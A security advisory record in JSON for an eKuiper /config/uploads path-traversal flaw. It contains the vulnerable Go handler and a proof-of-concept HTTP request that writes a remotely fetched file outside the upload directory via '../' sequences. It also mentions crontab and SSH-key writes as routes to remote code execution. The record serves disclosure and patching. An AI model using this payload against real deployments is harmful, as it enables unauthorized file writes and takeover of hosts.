{"id":"GHSA-gj54-gwj9-x2c6","summary":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","details":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := &fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","aliases":["GO-2025-3800"],"modified":"2025-07-28T20:42:20.828190Z","published":"2025-07-03T14:22:05Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-434"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-07-03T14:22:05Z"},"references":[{"type":"WEB","url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"},{"type":"PACKAGE","url":"https://github.com/lf-edge/ekuiper"}],"affected":[{"package":{"name":"github.com/lf-edge/ekuiper/v2","ecosystem":"Go","purl":"pkg:golang/github.com/lf-edge/ekuiper/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-gj54-gwj9-x2c6/GHSA-gj54-gwj9-x2c6.json"}},{"package":{"name":"github.com/lf-edge/ekuiper","ecosystem":"Go","purl":"pkg:golang/github.com/lf-edge/ekuiper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.14.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-gj54-gwj9-x2c6/GHSA-gj54-gwj9-x2c6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}